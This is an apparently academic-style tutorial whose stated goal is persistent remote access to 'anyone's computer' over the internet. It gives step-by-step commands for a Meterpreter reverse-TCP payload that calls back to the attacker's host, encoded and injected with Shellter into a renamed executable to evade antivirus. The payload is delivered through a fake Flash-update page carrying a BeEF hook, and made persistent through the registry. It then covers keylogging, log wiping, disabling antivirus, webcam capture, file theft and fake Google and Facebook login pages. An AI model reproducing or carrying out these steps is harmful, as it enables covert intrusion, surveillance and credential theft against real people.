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Abstract 

This paper sets out to inform the reader about how hacker can gain complete and persistence access 

anyone’s computer by bypassing antivirus and by browser exploitation using Metasploit 

framework, BeEF browser exploitation framework and Shellter  project tool. The paper will begin 

with the concept of attack through local area network, attack over the internet or wide area network. 

Then step by step procedure of building fully undetectable malicious file, browser exploitation, 

remote and persistence access. Then few example what we can do after getting access to victim’s 

computer. It is hoped that the reader will not only be able to come away with an awareness of the 

power of the framework, but also be able to make the tools work for them in their own 

environments. 

 

1.1  Introduction 

The overall aim for this project is to build a fully undetectable payload or malicious file and 

browser exploitation to get complete and persistence access of anyone’s computer over the 

internet. Malicious file or Malware stands for malicious software and is a term used to describe 

any software that has malicious intentions. These intentions can include attempting to gain 

unauthorized access to computer systems, disrupting computer systems and gathering sensitive 

information. Malware is an umbrella term often used to describe programs such as viruses, worms, 

trojans, spyware, ransomware, adware, scareware. Malicious programs can be identified by using 

a hashing algorithm (such as MD5, SHA-256, SHA-512 etc) which produces a compact digital 

fingerprint or signature of that file. This digital signature can then be used to check the malicious 

file against a database of known malware or to identify the file when collaborating data.  

1.2  Environment/ Framework/ Tools 

a. Kali Linux- Attacker machine 

b. Windows 7- Victim’s machine 

c. Metasploit Framework v4.14.27- already installed in kali (https://www.metasploit.com) 

d. BeEF browser exploitation framework- already installed in kali 

(https://github.com/beefproject/beef) 

e. Shellter Project (www.shellterproject.com) 

 

Install Shellter in Kali Linux: 

Open a terminal in kali, type the following command: 

apt-get update 

apt-get install shellter 

https://www.metasploit.com/
https://github.com/beefproject/beef
www.shellterproject.com
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1.3  Attack through LAN 

If we gave the victim a payload or listener or malicious file with our local IP address as the LHOST 

(in this figure, it's 198.168.5.129), like we would have a normal LAN attack (when you're in the 

same network as the victim), this is what the connection would look like: 

 

 
Figure 1: Attack through Local Area Network 

 

1.4  Attack over WAN 

It's a reverse connection from the victim machine to the attacker machine through the internet. 

Note that the connection must pass through the attacker's router; this will be important later.  

 

 

Figure 2: Attack over the Internet 
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We will have to provide our public IP address as LHOST (in this case, it's 20.21.22.23) when we 

will build our malicious file, which will send the session to our router via internet. From there, it's 

our router's job to direct it to our machine. This is where port forwarding comes in. 

 

 
Figure 3: Port Forwarding 

 

If we use, say, port 4444 as the LPORT in our reverese_tcp payload, or 80, 53, 3000, 5432 and 

55552 for browser exploitation and then tell our router to direct anything trying to connect to those 

port from outside the network to our kali machine, then we can receive the connection. Without 

port forwarding, the connection doesn't know which machine on the attacker's network to direct 

the connection to, and the attack won't work over the internet. Hence, 80, 53, 3000, 5432 and 

55552 port are recommended port number for beEF exploitation framework over the internet. 

To find the local IP address, we need to open a terminal in our kali and type: ifconfig 
 

 
Figure 4: Finding Local IP 

Here, local inet 192.168.5.128 is my local ip address. 
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To find the router’s local IP address, we need to open a terminal in kali and type: router –n 

 

 
Figure 5: Finding Router Local IP 

Number under gateway 192.168.5.2 is my router’s local IP. 

 

1.5  Router Configuration 

To configure port forwarding we need to login in our router setting. To login open a browser and 

type routers local IP. A login page will be displayed, type user name and password to login. Here 

we can configure our router for port forwarding. To do that click on Advance, Enable Port 

Forwarding, then click on Add Service. Then add the following port: 

 

 

Figure 6: Router Configuration 

 

We can also find our public IP from the router setting or we can visit http://canyouseeme.org/ to 

find the public IP. 

 

 

 

http://canyouseeme.org/
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1.6  BeEF Exploitation Framework  Configuration  

We already added these Ports 3000, 5432, 55552, 53, 80 in our router configuration. These ports 

are recommended for beEF, if we want to attack over internet. To attack over the internet we 

need to configure beEF exploitation framework.  

To do that open a terminal in kali, then type the following command: 

cd /usr/share/beef-xss 

 

Figure 7: BeEF Configuration to Attack over WAN 

Then type: nano config.yaml 

Write your public IP in the dns_host. 

 

Figure 8: BeEF Configuration, Change dns host 
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In the same file, write your public IP in the db_host. Then press ctrl + x, then press Y to save the 

file. 

 

Figure 9: BeEF Configuration, change db host 

Now we need to configure another file located in the beef-xss> extensions> metasploit directory.  

To do that, type the following command: 

cd extensions/Metasploit 

then type: nano config.yaml 

Write your public IP in the host and in the callback_host 
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Figure 10: BeEF Configuration, Change Metasploit host and callback host Step 1 

 

Figure 11: BeEF Configuration, Change Metasploit host and callback host Step 2 

Then press ctrl + x, then press Y to save the file. 
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2.1  Creating Payload 

Open a terminal in kali. Type the following command to create a payload: 

msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.5.128 LPORT=4444 x> 

/root/Desktop/filename.exe. OR 

msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp -e generic/none -f 

exe LHOST=20.21.22.23 LPORT=4444 > /root/Desktop/filename.exe 

 

But those payload are detectable by most antiviruses. My goal is to bypass antiviruses. 

To do that, we need to generate an encoded meterpreter reverse tcp payload. Open a terminal in 

kali, type following command to run Metasploit database and Metasploit framework: 

 

Figure 12: Metasploit Framework 

Then type the following command to use reverse tcp payload: 

Use payload/windows/meterprter/reverse_tcp. 

Metasploit has a default port 4444. If we want we can setup our custom port. To setup listener IP 

address we have to type: set LHOST “local IP or public IP”, then press enter.

 

Figure 13: Generating an encoded meterpreter reverse tcp payload step 1 
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 To setup listener port number type: set LPORT “custom port number”, then press enter. If we 

want to attack over the internet we will have to use our public IP in the LHOST. 

Now we will generate an encoded meterpreter reverse tcp payload. To see the available encoder 

in the Metasploit framework, type: show encoders 

It will give you a complete list of encoders available in the framework. In this version, the total 

number of available encoders is 40. 

 

Figure 14: List of Metasploit Encoders 

 We will use shikata_ga_nai encoder, which has excellent rank among all encoders. 

Type the following command to generate an encoded meterpreter reverse tcp payload: 

generate -e x86/ shikata_ga_nai -t raw -f main 

 

Here, -e indicates which encoder module we are using. Then we have to type the name of the 

encoder. -t indicates which output format we want. I am using raw output format. -f indicates the 

output file name. We can use any file name. I used “main” as the output file name. 
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Figure 15: Generating an encoded meterpreter reverse tcp payload step 2 

I just created an encoded meterprter reverse tcp payload in kali Home directory which is still 

detectable by anti-virus.  

 

2.2  Bypass Antivirus 

To bypass antiviruses I used shellter tools. Shellter is a dynamic shellcode injection tool. 

It can be used in order to inject shellcode into native Windows applications (currently 32-bit 

applications only). Shellter takes advantage of the original structure of the PE file and doesn’t 

apply any modification such as changing memory access permissions in sections (unless the user 

wants), adding an extra section with RWE access, and whatever would look dodgy under an AV 

scan. 

At first we need to move the payload (in my case “main” file) from home directory to Shellter 

directory. Move the payload in the shelter directory. In my case, I have installed Shellter in my 

kali Desktop. So I moved the file to Shellter directory. 

Second we need to choose a Windows application file. I choose a portable executable file named 

“Folder Protector.exe” where I injected the payload shellcode. I renamed the file name as 

“adobe.exe” Then moved the file to the shelter directory. We can choose any application file. Most 

of the file will work but few may not work. . That time, shellter will give u error or your file will 

be detectable by anti-virus. Note that it is recommended to use portable executable file. 
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Figure 16: I Folder Protector where I Injected shellcode 

 

We need to open a new terminal and type the following command to run Shellter: 

To change directory to shelter: cd Desktop/shellter 

Then type: wine shellter.exe 

Select operation mode auto by typing “A”. We have to type our Portable Executable (PE) file name 

in the PE Target. In my case its “adobe.exe”. Then press enter.  

 

Figure 17: Shellter create undetectable payload step 1 
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Figure 18: Shellter create undetectable payload step 2 

After few seconds we will get an option, Enable Stealth Mode? Press Y 

Stealth Mode feature preserves the original functionality of the application while it keeps all the 

benefits of dynamic PE infection.  

 

Then we will get an option to choose listed payload or custom. Press C for custom payload. Then 

type our custom payload name “main” that we have created in 2.1 section. Remember we need to 

move “main” file and adobe.exe file both in the shelter directory. 
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Figure 19: Shellter create undetectable payload successful 

 We successfully created our payload or malicious file. Now let’s compare the hash before and 

after injecting the shellcode.  

 

Figure 20: Hashes before Injecting Shellcode 

We see all the hashes changed after injecting the shellcode using shelter in figure 20. 
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Figure 21: Hashes after Injecting Shellcode 

Now we need to scan our payload. We can do that with any antivirus. I used www.virustotal.com 

to scan the malicious file. 

 

 

Figure 22: Scanning Result of Malicious File 

From the result we see that the created payload is not detectable by most antiviruses. Only detect 

4 out of 62 antiviruses. So I can say, I have successfully created undetectable malicious file which 

can bypass most antiviruses. Note that, it’s better not to scan using www.virustotal.com for newly 

created payload. 

http://www.virustotal.com/
http://www.virustotal.com/
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3.1  Sending Malicious File 

We can send the malicious file to the victim’s computer in many ways to get the access to victim’s 

computer. But I want to send the file to the victim’s computer using BeEF browser exploitation 

framework. So that I can attack victim’s browser also. With BeEF we can do many types of attack 

such as we can retrieve session cookies, redirect target to malicious URL’s, Change site content, 

Form field sniffing, Embed hidden iframes, fingerprinting, control webcam etc. 

 

3.2  BeEF Browser Exploitation 

To run the BeEF browser exploitation framework. Open a Type the following command: 

service apache2 start 

cd/usr/share/beef-xss 

then type: ./beef 

 

Figure 23: Run apache server and BeEF Framework 

Here, http://192.168.5.128.3000/ui/panel is the user interface. 

 

 

 

http://192.168.5.128.3000/ui/panel
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Before sending the malicious file we need configure or create html file which will work as a hook 

website. To do that, first we need to open our browser and type 127.0.0.1:3000/hook.js 

 

This page is running in the BeEF server with the port 3000. We need the “hook.js” file content.  

The “hook.js” contain Cross Site Script. We need these script to exploit victim’s browser. 

To get the “hook.js” content, press mouse right button> view page source 

Copy all the content. Then Go to the directory as: 

Computer> var > www> html 

We need to make a text file in the html directory. Paste the copied content in the text file and name 

the file as “hook.js”. 

 

I have created the following file in the html directory. 

 

 

We need to move the adobe.exe to this directory. 

Then we need to open the index.html file in the same directory by any Text Editor, then delete all 

the content. I have typed the following code: 

 

Figure 24: Index.html File Code 
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Figure 25: Style.css Code 

The following is the webpage I have designed: 

 

Figure 26: Webpage View 
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Now we need to login in BeEF UI. To do that we need to open a browser and type: 

Yourlocalip:3000/ui/panel 

In my case: 192.168.5.128.3000/ui/panel 

 

The default username and password for BeEF user interface is “beef” 

 

Figure 27: BeEF User Interface Login Page 

 

 

Figure 28: BeEF User Interface after Login 
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In BeEF browser exploitation framework there are 255 different available command module. 

 

Figure 29: BeEF 255 Different Command Module 
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Now our work will be to send the hook url. In my case the hook url is 192.168.5.128. 

 

When victims will visit the page, we will get a notification in the terminal where beEF is running. 

Also we will see the victim’s IP and computer information in the BeEF interface where we logged 

in.  

 

In my case, Victim will see the page I have designed about update flash player. If victim click on 

“Update Now” and run the file I have sent through url, I will gain the complete access of the 

victim’s machine. 

 

Figure 30: Hooked Browser when user browsed the URL that sent to the user 
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Figure 31: Victim's IP and Fingerprinting 

 

 

Figure 32: When User Click Update Now, Malicious File will be downloaded 
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Type the following command to start the TCP handler: 

 

Figure 33: Meterpreter Session and Victim's Machine System information 

 

Here LHOST and LPORT work as a listener IP address and port number. When victims will run 

the downloaded file, I will be notified by meterpreter session opened. But victim will see that the 

Folder Protector is running instead adobe update. We can get the Victims machine system info by 

typing “sysinfo”. 

 

We can check any active session or multiple session by typing: “sessions” before “exploit” 

command. 

If there are multiple sessions we can choose sessions by id. For example: sessions -i 2 

Where, -i 2 indicate the interact with session id 2. 

 

Now my goal is to make the attack persistence. If we do not make the attack persistence our 

sessions will be died when victims log out or shutdown or restart their machine. So it’s necessary 

to make the attack persistence. 

Type the following command to check the different persistence options: 

run persistence -h 

here -h indicates help. 
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Figure 34: Persistence attack options 

I have typed the following command to make the attack persistence. 

run persistence -U -i 5 -r 192.168.5.128 -p 4444 

Where, -U indicate the agent (payload session) will automatically start when victims “logs on” on 

his machine. -i 5 indicate iterations. -r is the listener IP and -p is the listener port. 

 

Figure 35: Make the Attack Persistence 

 

Figure 36: Persistence Attack created a key in the Victim's Machine registry 
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4.1 Using Meterpreter Commands 

We can apply many command using meterpreter. I have discussed few of them.  

help 

To see complete list of available command in the meterpreter, type: help 

meterpreter > help 

ls 

The “ls” command will list the files in the current remote directory. 

cat 

It displays the content of a file when it’s given as an argument. 

 

Figure 37: Meterpreter Command: ls and cat 

clearev 

The “clearev” command will clear the Application, System, and Security logs on a Windows 

system. 

 

 

Figure 38: Meterpreter Command: clearev 
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edit 

The “edit” command opens a file located on the target host. It uses the ‘vim’ so all the editor’s 

commands are available. 

 

Figure 39: Meterpreter Command: edit 

 

To save the file in vim editor, press “esc” then type colon “:”, then type “x”, then press enter. 

The important.txt in the victim’s machine: 

 

 

ipconfig 

The “ipconfig” command displays the network interfaces and addresses on the remote machine. 

 

Figure 40: Meterpreter Command: ipconfig 
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keyscan_start 

It works as a keylogger. Attacker will know what victim’s is typing. 

 

Figure 41 Meterpreter Command: keyscan_start 

shell 

The “shell” command will present you with a standard shell on the target system. 

 

Figure 42: Meterpreter Command: shell 
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download 

The “download” command downloads a file from the remote machine. Note the use of the double-

slashes when giving the Windows path.  

Press ctrl + c to back to meterpreter 

 

Figure 43: Download File from Victim's Machine 

upload 

As with the “download” command, we need to use double-slashes with the upload command. 

meterpreter > upload trojan.exe c:\\windows\\system32 

 

webcam_list 

Will display currently available web cams on the target host. 

 

webcam_snap 

The “webcam_snap” command grabs a picture from a connected web cam on the target system, 

and saves it to disc as a JPEG image. By default, the save location is the local current working 

directory with a randomized filename. 

 

search 

The “search” commands provides a way of locating specific files on the target host. The command 

is capable of searching through the whole system or specific folders. 

 

ps 

The ‘”ps” command displays a list of running processes on the target. 

 

killav 

The ‘killav’ script can be used to disable most antivirus programs running as a service on a target. 

meterpreter > run killav  

 [*] Killing Antivirus services on the target... 

 

migrate 

Using the “migrate” post module, you can migrate to another process on the victim 
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4.2  Using BeEF Browser Exploitation Framework 

Using BeEF browser exploitation framework we can do 255 different kind of attacks. I am showing 

few of them. 

Google Phishing: We can send fake google account login page to the victims. When victims will 

try to login we will get the victims information. 

 

Figure 44: BeEF Google Phishing Attacker Machine 

 

 

Figure 45: BeEF Google Phishing Victims Machine 
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Figure 46: Google Phishing, Attacker get the Victims information 

 

Pretty Theft: We can send fake facebook/linkedin/windows/YouTube account login page to the 

victims. When victims will try to login we will get the victims information. 

 

Figure 47: Pretty Theft: Attacker can send fake login pages 
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Figure 48: Pretty Theft: Fake Facebook login 

 
 

 

Figure 49: Pretty Theft: Attacker get the Victims Facebook login information 
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Redirect Browser: We can redirect the victim’s browser to different pages we want. 

 

Figure 50: BeEF, Attacker can Redirect Victims to different pages 

Conclusion 

Like many security tools, the Metasploit framework and BeEF browser exploitation has great potential 

with some of the features that have been presented. But again like many security tools there is the 

possibility of misuse. It is up to the individual end user to decide how it will be used. The bad guys already 

possess the tools capable of doing what is now possible with the Metasploit and BeEF browser framework. 

Security practitioners need to know how those same bad guys might attack and what is possible. 
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